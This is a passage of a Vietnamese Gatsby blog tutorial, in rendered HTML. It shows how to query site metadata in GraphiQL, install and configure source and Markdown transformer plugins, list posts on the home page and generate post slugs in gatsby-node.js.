<em>/gatsby-config.js</em> hay thay đổi cú pháp query trong phần <em>graphql</em> thì bạn phải <strong>Restart</strong> lại server. Kết quả là <em>title</em> mới đã được áp dụng:</p> <p><span class="gatsby-resp-image-wrapper" style="position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 660px; " > <span class="gatsby-resp-image-background-image" style="padding-bottom: 64.24242424242425%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAANCAIAAAAmMtkJAAAACXBIWXMAAAsTAAALEwEAmpwYAAABs0lEQVQoz92NzU4TURiG5xYkGbpou8ZE0h2miy4qSRNocCW2hURmSt3Q9BrEqzDTHxVcaLgCUbaAnQVjaAd7zszYGWYwwJyfaWc+TNyZFgKaEC6AN0/ec97Fk0+Yn5svlUrFQiGfz8+Nk8vlUqnUxMSDWCw2eVtEUZwUxUQiITyanp6aeriw8LTZatWbzUaz9fHT1sbmhzeKUm80lEvqox5NRXn77v2r9dfJZDIejwuZxzOZTObJ7GypWKysLsmSJEmyJK3U1sqVysvqmlyWX9SqqyuSvPhs8XmhWKuWl5eXstlsOp0Wup0frvvLspxez8DYRMjC2MTGOKMHY4wNbCBk9HoIIYyRYZrm6emZ2laFA+2s0/mtaZHeBf0IDg8j2wYACEOIolEDAGPgOEDpBSFg20BpSPw/BxoSHOc4CIa+TynjjHJKOSGMMf4vruv9tPqW1b+clLIohG5XF7a3P7fbqqq2d3f3v+3vadr3L193jl1vMBgyxjkPOA/GHz6uqwlwoetHQr9vM8YJob5PfJ8QQs/P/WvtVm5kzzsJw4jzIAgG19xh/ie7rjcchnefumfyX6GdXHT2FVoBAAAAAElFTkSuQmCC'); background-size: cover; display: block;" ></span> <img class="gatsby-resp-image-image" alt="Thay đổi title sử dụng GraphQL" title="Thay đổi title sử dụng GraphQL" src="/static/a2488b699edd6ac041e54622fb3f8062/7c811/gatsby-thay-doi-title.png" srcset="/static/a2488b699edd6ac041e54622fb3f8062/103f2/gatsby-thay-doi-title.png 165w, /static/a2488b699edd6ac041e54622fb3f8062/748ba/gatsby-thay-doi-title.png 330w, /static/a2488b699edd6ac041e54622fb3f8062/7c811/gatsby-thay-doi-title.png 660w, /static/a2488b699edd6ac041e54622fb3f8062/fe486/gatsby-thay-doi-title.png 768w" sizes="(max-width: 660px) 100vw, 660px" style="width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;" loading="lazy" decoding="async" /> </span></p> <h4 id="sử-dụng-công-cụ-đồ-hoạ-graphiql" style="position:relative;"><a href="#s%E1%BB%AD-d%E1%BB%A5ng-c%C3%B4ng-c%E1%BB%A5-%C4%91%E1%BB%93-ho%E1%BA%A1-graphiql" aria-label="sử dụng công cụ đồ hoạ graphiql permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Sử dụng công cụ đồ hoạ GraphiQL</h4> <p>Ngoài ra, để biết kết quả câu lệnh query graphQL kia như thế nào, bạn có thể sử dụng công cụ GraphiQL bằng cách vào địa chỉ <code>http://localhost:8000/___graphql</code> và copy-paste đoạn query trên vào:</p> <div class="gatsby-highlight" data-language="jsx"><pre class="language-jsx"><code class="language-jsx"><span class="token punctuation">{</span> site <span class="token punctuation">{</span> siteMetadata <span class="token punctuation">{</span> title <span class="token punctuation">}</span> <span class="token punctuation">}</span> <span class="token punctuation">}</span></code></pre></div> <p>Rồi nhấn vào nút Excute Query (hình tròn, có tam giác ở giữa) sẽ thấy kết quả:</p> <p><span class="gatsby-resp-image-wrapper" style="position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 660px; " > <span class="gatsby-resp-image-background-image" style="padding-bottom: 64.24242424242425%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAANCAIAAAAmMtkJAAAACXBIWXMAAAsTAAALEwEAmpwYAAAB7klEQVQoz7WOXWvaYBTH8ylEaf0aBasOZlemu3O16HBJW8F2G4p3XnjTfYJ1vdxLjWOFdrDV7SN4t60pVKUmkTEogq9R0jzmOc+TmGToYLSyDXaxP4dzzs2P359Jp7cLhUI+n89ms5lMJpfLJRIPotHo/bW1u+FwOBKJRO7dWV29FQy6XC6Px+N2u12zLHq9jN/v9/l8LMuelMvvP5yUP346On5XLL15e3hY5PmDIv+6yB/wfLFU2tvff7b3/MXLV7u7T71e78LCIhNYWgoEA7dDoUQ8ntpMcBy3wW2yLPtom91KpXbSHMcmH+9sJJMPY7HY+no8+2SLZZMrK6HlZR/z9fOX8/OqKEqCIIhio16viw2xVqs3ZUmW5WZTlqePJEuSKIqSJMqyeHHR+Pb9slKpMO12h1LDNA3DoObs/NyTyQQwIG0MQDAGAMB4OrqOERqb5kQQBKbX7VHTGmkA1LRs27kWalBNUZXOcHSFkA4AhBBKCMUYHMcRhDOm2+1Zlq0ijIlhz8GUYoz7ytVlW1F6I22g6kNNH2pooFqGJZzNYOcPodTQNARA6EwImMC0P9F1bNsz82CgOI4z5/xlRggBUAByfeZhx/k9rOt4jvwHeDz+P/DpqcC0Wi1FUTqdTr/f125GVdW/1K5Waz8A+aJ8Z/ZKrh8AAAAASUVORK5CYII='); background-size: cover; display: block;" ></span> <img class="gatsby-resp-image-image" alt="Sử dụng GraphiQL" title="Sử dụng GraphiQL" src="/static/0db3933eb7ac4b89bc3003fc4e08ee03/7c811/gatsby-graphiql.png" srcset="/static/0db3933eb7ac4b89bc3003fc4e08ee03/103f2/gatsby-graphiql.png 165w, /static/0db3933eb7ac4b89bc3003fc4e08ee03/748ba/gatsby-graphiql.png 330w, /static/0db3933eb7ac4b89bc3003fc4e08ee03/7c811/gatsby-graphiql.png 660w, /static/0db3933eb7ac4b89bc3003fc4e08ee03/fe486/gatsby-graphiql.png 768w" sizes="(max-width: 660px) 100vw, 660px" style="width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;" loading="lazy" decoding="async" /> </span></p> <p>Kết quả trả về là một Object:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token punctuation">{</span> <span class="token string-property property">"data"</span><span class="token operator">:</span> <span class="token punctuation">{</span> <span class="token string-property property">"site"</span><span class="token operator">:</span> <span class="token punctuation">{</span> <span class="token string-property property">"siteMetadata"</span><span class="token operator">:</span> <span class="token punctuation">{</span> <span class="token string-property property">"title"</span><span class="token operator">:</span> <span class="token string">"Gatsby Blog Tutorial Demo"</span> <span class="token punctuation">}</span> <span class="token punctuation">}</span> <span class="token punctuation">}</span> <span class="token punctuation">}</span></code></pre></div> <p>Điều này giải thích tại sao mình lại truy cập đến <em>title</em> bằng cách <em>data.site.siteMetadata.title</em> như trên.</p> <h4 id="query-danh-sách-các-bài-viết-để-hiển-thị-lên-trang-chủ" style="position:relative;"><a href="#query-danh-s%C3%A1ch-c%C3%A1c-b%C3%A0i-vi%E1%BA%BFt-%C4%91%E1%BB%83-hi%E1%BB%83n-th%E1%BB%8B-l%C3%AAn-trang-ch%E1%BB%A7" aria-label="query danh sách các bài viết để hiển thị lên trang chủ permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Query danh sách các bài viết để hiển thị lên trang chủ</h4> <p>Như mình đã nói ở trên, Gatsby có thể lấy dữ liệu từ các file Markdown hoặc từ CMS (Contentful, Wordpress) hay REST API,... Nhưng ở đây, mình sẽ lấy dữ liệu bài viết từ các file Markdown trên hệ thống. Để làm được việc này, mình cần sử dụng một plugin của Gatsby là <em>gatsby-source-filesystem</em>.</p> <p>Trước tiên, cài đặt plugin này bằng câu lệnh:</p> <div class="gatsby-highlight" data-language="bash"><pre class="language-bash"><code class="language-bash">$ <span class="token function">npm</span> <span class="token function">install</span> --save gatsby-source-filesystem</code></pre></div> <p>Sau khi cài đặt xong, bạn khai báo plugin này trong file <em>/gatsby-config.js</em>:</p> <div class="gatsby-code-title gatsby-remark-code-title">/gatsby-config.js</div> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js">module<span class="token punctuation">.</span>exports <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token literal-property property">siteMetadata</span><span class="token operator">:</span> <span class="token punctuation">{</span> <span class="token literal-property property">title</span><span class="token operator">:</span> <span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">Gatsby Blog Tutorial Demo</span><span class="token template-punctuation string">`</span></span><span class="token punctuation">,</span> <span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token literal-property property">plugins</span><span class="token operator">:</span> <span class="token punctuation">[</span> <span class="token punctuation">{</span> <span class="token literal-property property">resolve</span><span class="token operator">:</span> <span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">gatsby-source-filesystem</span><span class="token template-punctuation string">`</span></span><span class="token punctuation">,</span> <span class="token literal-property property">options</span><span class="token operator">:</span> <span class="token punctuation">{</span> <span class="token literal-property property">name</span><span class="token operator">:</span> <span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">src</span><span class="token template-punctuation string">`</span></span><span class="token punctuation">,</span> <span class="token literal-property property">path</span><span class="token operator">:</span> <span class="token template-string"><span class="token template-punctuation string">`</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">${</span>__dirname<span class="token interpolation-punctuation punctuation">}</span></span><span class="token string">/src/</span><span class="token template-punctuation string">`</span></span><span class="token punctuation">,</span> <span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token punctuation">]</span><span class="token punctuation">,</span> <span class="token punctuation">}</span><span class="token punctuation">;</span></code></pre></div> <p>Trong đó, phần <em>options.path</em>, mình khai báo giá trị của nó đến thư mục <code>/src</code> hay <code>${__dirname}/src/</code>. Vì các page, post của mình chỉ nằm trong thư mục này.</p> <p>Tuy nhiên, đến đây mình mới chỉ quét được hết các file trong thư mục <em>/src</em>. Cái mình cần phải cụ thể hơn, đó là quét được các file Markdown. Vì các bài viết của mình được viết dưới dạng Markdown. Vì vậy, mình cài tiếp plugin <em>gatsby-transformer-remark</em> bằng câu lệnh:</p> <div class="gatsby-highlight" data-language="bash"><pre class="language-bash"><code class="language-bash">$ <span class="token function">npm</span> <span class="token function">install</span> --save gatsby-transformer-remark</code></pre></div> <p>Rồi lại add nó vào file <em>/gatsby-config.js</em>:</p> <div class="gatsby-code-title gatsby-remark-code-title">/gatsby-config.js</div> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js">module<span class="token punctuation">.</span>exports <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token literal-property property">siteMetadata</span><span class="token operator">:</span> <span class="token punctuation">{</span> <span class="token literal-property property">title</span><span class="token operator">:</span> <span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">Gatsby Blog Tutorial Demo</span><span class="token template-punctuation string">`</span></span><span class="token punctuation">,</span> <span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token literal-property property">plugins</span><span class="token operator">:</span> <span class="token punctuation">[</span> <span class="token punctuation">{</span> <span class="token literal-property property">resolve</span><span class="token operator">:</span> <span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">gatsby-source-filesystem</span><span class="token template-punctuation string">`</span></span><span class="token punctuation">,</span> <span class="token literal-property property">options</span><span class="token operator">:</span> <span class="token punctuation">{</span> <span class="token literal-property property">name</span><span class="token operator">:</span> <span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">src</span><span class="token template-punctuation string">`</span></span><span class="token punctuation">,</span> <span class="token literal-property property">path</span><span class="token operator">:</span> <span class="token template-string"><span class="token template-punctuation string">`</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">${</span>__dirname<span class="token interpolation-punctuation punctuation">}</span></span><span class="token string">/src/</span><span class="token template-punctuation string">`</span></span><span class="token punctuation">,</span> <span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">gatsby-transformer-remark</span><span class="token template-punctuation string">`</span></span><span class="token punctuation">,</span> <span class="token punctuation">]</span><span class="token punctuation">,</span> <span class="token punctuation">}</span><span class="token punctuation">;</span></code></pre></div> <p>Lưu lại và restart server rồi thử query các file Markdown trên GraphiQL xem sao:</p> <p><span class="gatsby-resp-image-wrapper" style="position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 660px; " > <span class="gatsby-resp-image-background-image" style="padding-bottom: 74.54545454545453%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAPCAIAAABr+ngCAAAACXBIWXMAAAsTAAALEwEAmpwYAAACVElEQVQoz42P20obURSG5zkEexlIsL6Ct1541YskVXOYxFTzDkF8jIaCbTJaT/fFSwmIBooRxdwYozbNwcnsyZ7Z55nJ7DKThmpLaX/+vVgb1sf6l7K6miqF2tzcLJVKW1tbxWIxl8upqhqPxxOJRFgSi4uLkUgkFotFo9FIJDI7+2pmZkaJRaPz868XFhYqVe3gcP/w6Ghv/6BSrX7e261qu5Vq5VOlou1oVa26/XH7ffmDtqOVy+W5ubkAfrO0tLK8nEwmE4lkIb+SzWZVVU1n0sX1TC6XK65n8rl0YS2Tz2c21rPx+Nt3hXRhTU2lUslkXLm5aXY6HQBAr98HwBzqhmmaw+EQWjaEEFoWtMMGWsHHsiCEhmHqQ7PX7yu3ty3KOKYME0Ypd6byXJcxNgImHlkYY4ReGGPSbDaV+/a96/ld3YI25cL1fV9O5bgutu1B1+gOTDBCNiKci6n59fW1cnfXllJy4egAYSpewI6DCUGEdgembkALYUoZY3ziAG63A9jzPCnlc1JK6bouxkQIgRDpPo2AYWEDEogYncKtVms8Hv+GTWM7JBBFGHuO4wjBuGCcB57Aj4/f/tz5KzYmnHMdWN8HwAQWgYjahBL2b3gSm3OBMRkCG45sOkLERBTT/91MCR1BO7hTCCYEn4SnIfzw8CilnJz9XBMYIcQYM4DV7uhPTwABiE2b2JhSenV1pQwGg79tHof62fgyGPGk9Hx/HAz3ej3ly/Hx6enpyclJrVar1+vnU9Xr9bOz86+hLi4uGo1GWBqNxmXwLi9rtdoPc0ju5pmr6pMAAAAASUVORK5CYII='); background-size: cover; display: block;" ></span> <img class="gatsby-resp-image-image" alt="Query Markdown file từ GraphiQL" title="Query Markdown file từ GraphiQL" src="/static/0c4355e31ebe3f08ee5fc8a58ee6dda5/7c811/gatsby-query-markdown.png" srcset="/static/0c4355e31ebe3f08ee5fc8a58ee6dda5/103f2/gatsby-query-markdown.png 165w, /static/0c4355e31ebe3f08ee5fc8a58ee6dda5/748ba/gatsby-query-markdown.png 330w, /static/0c4355e31ebe3f08ee5fc8a58ee6dda5/7c811/gatsby-query-markdown.png 660w, /static/0c4355e31ebe3f08ee5fc8a58ee6dda5/18baa/gatsby-query-markdown.png 785w" sizes="(max-width: 660px) 100vw, 660px" style="width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;" loading="lazy" decoding="async" /> </span></p> <p>Kết quả là mình tìm thấy 3 file Markdown - tương ứng với 3 bài viết mà mình đã copy-paste vào phía trên.</p> <p>Bây giờ, mình sẽ sửa file <em>/src/pages/index.js</em> để hiển thị danh sách các bài viết lên trang chủ:</p> <div class="gatsby-code-title gatsby-remark-code-title">/src/pages/index.js</div> <div class="gatsby-highlight" data-language="jsx"><pre class="language-jsx"><code class="language-jsx"><span class="token keyword">import</span> React <span class="token keyword">from</span> <span class="token string">"react"</span><span class="token punctuation">;</span> <span class="token keyword">import</span> Layout <span class="token keyword">from</span> <span class="token string">"../components/layout"</span><span class="token punctuation">;</span> <span class="token keyword">import</span> <span class="token punctuation">{</span> graphql <span class="token punctuation">}</span> <span class="token keyword">from</span> <span class="token string">"gatsby"</span><span class="token punctuation">;</span> <span class="token keyword">export</span> <span class="token keyword">default</span> <span class="token punctuation">(</span><span class="token parameter"><span class="token punctuation">{</span> data <span class="token punctuation">}</span></span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">{</span> <span class="token keyword">return</span> <span class="token punctuation">(</span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span><span class="token class-name">Layout</span></span><span class="token punctuation">></span></span><span class="token plain-text"> </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>h1</span><span class="token punctuation">></span></span><span class="token plain-text">Bài viết mới nhất</span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>h1</span><span class="token punctuation">></span></span><span class="token plain-text"> </span><span class="token punctuation">{</span>data<span class="token punctuation">.</span>allMarkdownRemark<span class="token punctuation">.</span>edges<span class="token punctuation">.</span><span class="token function">map</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token parameter"><span class="token punctuation">{</span> node <span class="token punctuation">}</span><span class="token punctuation">,</span> index</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">(</span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>div</span> <span class="token attr-name">key</span><span class="token script language-javascript"><span class="token script-punctuation punctuation">=</span><span class="token punctuation">{</span>index<span class="token punctuation">}</span></span><span class="token punctuation">></span></span><span class="token plain-text"> </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>h3</span><span class="token punctuation">></span></span><span class="token plain-text"> </span><span class="token punctuation">{</span>node<span class="token punctuation">.</span>frontmatter<span class="token punctuation">.</span>title<span class="token punctuation">}</span><span class="token plain-text"> </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>span</span> <span class="token attr-name">style</span><span class="token script language-javascript"><span class="token script-punctuation punctuation">=</span><span class="token punctuation">{</span><span class="token punctuation">{</span> <span class="token literal-property property">color</span><span class="token operator">:</span> <span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">#BBB</span><span class="token template-punctuation string">`</span></span> <span class="token punctuation">}</span><span class="token punctuation">}</span></span><span class="token punctuation">></span></span><span class="token plain-text">— </span><span class="token punctuation">{</span>node<span class="token punctuation">.</span>frontmatter<span class="token punctuation">.</span>date<span class="token punctuation">}</span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>span</span><span class="token punctuation">></span></span><span class="token plain-text"> </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>h3</span><span class="token punctuation">></span></span><span class="token plain-text"> </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>p</span><span class="token punctuation">></span></span><span class="token punctuation">{</span>node<span class="token punctuation">.</span>excerpt<span class="token punctuation">}</span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>p</span><span class="token punctuation">></span></span><span class="token plain-text"> </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>div</span><span class="token punctuation">></span></span> <span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">}</span><span class="token plain-text"> </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span><span class="token class-name">Layout</span></span><span class="token punctuation">></span></span> <span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token keyword">export</span> <span class="token keyword">const</span> query <span class="token operator">=</span> graphql<span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string"> query { allMarkdownRemark( sort: { order: DESC, fields: [frontmatter___date] } limit: 1000 ) { edges { node { frontmatter { title date(formatString: "DD/MM/YYYY") } excerpt } } } } </span><span class="token template-punctuation string">`</span></span><span class="token punctuation">;</span></code></pre></div> <p>Kết quả là mình đã thu được một danh sách các bài viết trên trang chủ:</p> <p><span class="gatsby-resp-image-wrapper" style="position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 660px; " > <span class="gatsby-resp-image-background-image" style="padding-bottom: 90.9090909090909%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAASCAIAAADUsmlHAAAACXBIWXMAAAsTAAALEwEAmpwYAAAC4klEQVQ4y32Ry04TURzG5zEImrpiYVyLRglPgRrdEq0JRQoFhC6UhUYSVBRigqBI4Rn0AbgkJO10gNrOzLnMmcuZdjr3dgoonRozbYJBTU9+57b4/t93zp8ZHBwcGrpz//6DeDz+8NGj4eHhdDq9srKytLy8sPB64fWbt4uLc3Nzd+7eu3Hz5sDAwK3bA9f7+2OxWG9vLxO7dPlK7MrVq9devHy1tPxu8f3S2qf19Y3M1lYms7m1ubWRyWxsZL6srq2trn1cWv7wef3T/Px8X19fT08PMxJ/+PzZTDo9NZYcSc8knj5NplLJRCIxnRodGxubmhwdTyYmU6Op1OhU6kk8/nh6MpGaSM7OTk9MjDOFgizLLSL/pLRJaUhI0zSbYRienYXNZrSGYev4uOV5v05/tIJ6y/Vap6eh54WGYTF5lifkGEIfY1+WfYR8qtccxzFN27I6WIpSAbBMaYVSW1Vtw7Co7vI8YPb2dhAWAeBFsYSQiLF4VDisVKqe5zuO67qe47jlsk6ppuu6Hw3Pdd16UMMYM9vb24dHhUKh+L1QKnwvFYt8NsuWy8a52HU9z/M7tGtF5Xy/LWZzLARQEEQggmrV8tpWruf7fs33ax3BX/wR53I5jDDPi5EeQAlLACKEJVlWIEKVitFNzLIsiJwFgRcgwliSYHvDWIqKYMkwqn/5X3AGECKIAIB6udKJ7Z3H9mvdnPf39wVB5HmhVCypqmYYBqW6UTVtx7Vtx7ad7rHzsqwQIkOEUDSxCCAAUZAIEViW3eXD2GKx1OHw8EhRFC0alGpUUzVN1bqJs9ksglgQRMOoWpZjmpZfqwX1Rr0e1OtBEDT+7dYFZ0kioggIkTWNyrKiKKqqRq6aRlVVNU2r8/hzOlkAgAzHHRAiY0wwlohEIERAhECEUasgIhLR9XIQNBqN43OCoHFycqrrZebbt6+7O7u5HMtxB/k8x3FcnuPah4Powh2wbP6/ZLO533Zsb8QdgWsrAAAAAElFTkSuQmCC'); background-size: cover; display: block;" ></span> <img class="gatsby-resp-image-image" alt="Thêm bài viết lên trang chủ Gatsby" title="Thêm bài viết lên trang chủ Gatsby" src="/static/a247e47e82f0f975c519c784f4998139/7c811/gatsby-list-homepage.png" srcset="/static/a247e47e82f0f975c519c784f4998139/103f2/gatsby-list-homepage.png 165w, /static/a247e47e82f0f975c519c784f4998139/748ba/gatsby-list-homepage.png 330w, /static/a247e47e82f0f975c519c784f4998139/7c811/gatsby-list-homepage.png 660w, /static/a247e47e82f0f975c519c784f4998139/18baa/gatsby-list-homepage.png 785w" sizes="(max-width: 660px) 100vw, 660px" style="width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;" loading="lazy" decoding="async" /> </span></p> <p>Tuy nhiên, hiện tại mình muốn click vào mỗi bài viết thì phải nhảy đến nội dung bài viết tương ứng thì lại chưa làm được. Vì vậy, mình cần phải tạo thêm <em>slug</em> cho mỗi bài viết.</p> <h4 id="tạo-slug-cho-mỗi-bài-viết" style="position:relative;"><a href="#t%E1%BA%A1o-slug-cho-m%E1%BB%97i-b%C3%A0i-vi%E1%BA%BFt" aria-label="tạo slug cho mỗi bài viết permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Tạo slug cho mỗi bài viết</h4> <p>Mình cần phải tạo slug cho mỗi bài viết để có thể link đến chúng. Để làm việc này, đầu tiên mình phải tạo mới file <em>/gatsby-node.js</em> và sửa file:</p> <div class="gatsby-code-title gatsby-remark-code-title">/gatsby-node.js</div> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">const</span> path <span class="token operator">=</span> <span class="token function">require</span><span class="token punctuation">(</span><span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">path</span><span class="token template-punctuation string">`</span></span><span class="token punctuation">)</span><span class="token punctuation">;</span> exports<span class="token punctuation">.</span><span class="token function-variable function">onCreateNode</span> <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token parameter"><span class="token punctuation">{</span> node<span class="token punctuation">,</span> getNode<span class="token punctuation">,</span> actions <span class="token punctuation">}</span></span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">{</span> <span class="token keyword">const</span> <span class="token punctuation">{</span> createNodeField <span class="token punctuation">}</span> <span class="token operator">=</span> actions<span class="token punctuation">;</span> <span class="token keyword">if</span> <span class="token punctuation">(</span>node<span class="token punctuation">.</span>internal<span class="token punctuation">.</span>type <span class="token operator">===</span> <span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">File</span><span class="token template-punctuation string">`</span></span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">const</span> parsedFilePath <span class="token operator">=</span> path<span class="token punctuation">.</span><span class="token function">parse</span><span class="token punctuation">(</span>node<span class="token punctuation">.</span>absolutePath<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">const</span> slug <span class="token operator">=</span> <span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">/</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">${</span>parsedFilePath<span class="token punctuation">.</span>dir<span class="token punctuation">.</span><span class="token function">split</span><span class="token punctuation">(</span><span class="token string">"---"</span><span class="token punctuation">)</span><span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">]</span><span class="token interpolation-punctuation punctuation">}</span></span><span class="token string">/</span><span class="token template-punctuation string">`</span></span><span class="token punctuation">;</span> <span class="token function">createNodeField</span><span class="token punctuation">(</span><span class="token punctuation">{</span> node<span class="token punctuation">,</span> <span class="token literal-property property">name</span><span class="token operator">:</span> <span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">slug</span><span class="token template-punctuation string">`</span></span><span class="token punctuation">,</span> <span class="token literal-property property">value</span><span class="token operator">:</span> slug <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token keyword">else</span> <span class="token keyword">if</span> <span class="token punctuation">(</span> node<span class="token punctuation">.</span>internal<span class="token punctuation">.</span>type <span class="token operator">===</span> <span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">MarkdownRemark</span><span class="token template-punctuation string">`</span></span> <span class="token operator">&amp;&amp;</span> <span class="token keyword">typeof</span> node<span class="token punctuation">.</span>slug <span class="token operator">===</span> <span class="token string">"undefined"</span> <span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">const</span> fileNode <span class="token operator">=</span> <span class="token function">getNode</span><span class="token punctuation">(</span>node<span class="token punctuation">.</span>parent<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token function">createNodeField</span><span class="token punctuation">(</span><span class="token punctuation">{</span> node<span class="token punctuation">,</span> <span class="token literal-property property">name</span><span class="token operator">:</span> <span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">slug</span><span class="token template-punctuation string">`</span></span><span class="token punctuation">,</span> <span class="token literal-property property">value</span><span class="token operator">:</span> fileNode<span class="token punctuation">.</span>fields<span class="token punctuation">.</span>slug<span class="token punctuation">,</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token punctuation">}</span><span class="token punctuation">;</span></code></pre></div> <p>Trong đó, <em>onCreateNode</em> là một Gatsby API được gọi mỗi khi có một node mới thêm vào hay chỉnh sửa (mỗi node chính là một file). Mục đích của hàm này là mình sẽ tạo thêm trường <em>slug</em> cho mỗi node với <em>slug</em> có được bằng cách lấy tên thư mục và tách lấy phần bên phải của dấu (---).</p> <p>Ví dụ bài viết ứng với thư mục <em>2015-05-01---hello-world</em>, mình sẽ lấy thành phần bên phải dấu (---) làm <em>slug</em> cho bài viết.</p> <p>Do đó, bài viết ứng với thư mục này sẽ có địa chỉ là <code>http://localhost:8000/hello-world/</code> (tương tự với các bài viết khác).</p> <p>Bây giờ mình sẽ sửa file <em>/src/pages/index.js</em> thành:</p> <div class="gatsby-code-title gatsby-remark-code-title">/src/pages/index.js</div> <div 